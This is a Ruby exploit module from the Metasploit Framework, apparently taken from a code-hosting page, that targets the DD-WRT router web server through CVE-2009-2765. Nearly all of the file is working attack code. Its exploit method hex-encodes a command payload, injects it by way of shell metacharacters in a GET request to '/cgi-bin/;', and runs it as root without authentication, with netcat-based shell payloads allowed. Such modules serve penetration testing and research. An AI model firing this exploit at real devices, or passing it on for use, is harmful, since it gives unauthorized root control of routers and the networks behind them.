77 lines
1.9 KiB
Ruby
77 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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HttpFingerprint = { :pattern => [ /DD-WRT/ ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
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'Description' => %q{
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This module abuses a metacharacter injection vulnerability in the
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HTTP management server of wireless gateways running DD-WRT. This flaw
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allows an unauthenticated attacker to execute arbitrary commands as
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the root user account.
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},
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'Author' => [ 'gat3way', 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-2765' ],
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[ 'OSVDB', '55990' ],
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[ 'BID', '35742' ],
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[ 'EDB', '9209' ]
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],
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'DisableNops' => true,
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'Compat' =>
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{
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'RequiredCmd' => 'generic netcat-e'
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}
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},
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'Targets' =>
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[
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[ 'Automatic Target', { }]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 20 2009'
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))
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end
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def exploit
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cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
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# TODO: force use of echo-ne CMD encoder
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str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"
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print_status("Sending GET request with encoded command line...")
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send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })
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print_status("Giving the handler time to run...")
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handler
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select(nil, nil, nil, 10.0)
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end
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end
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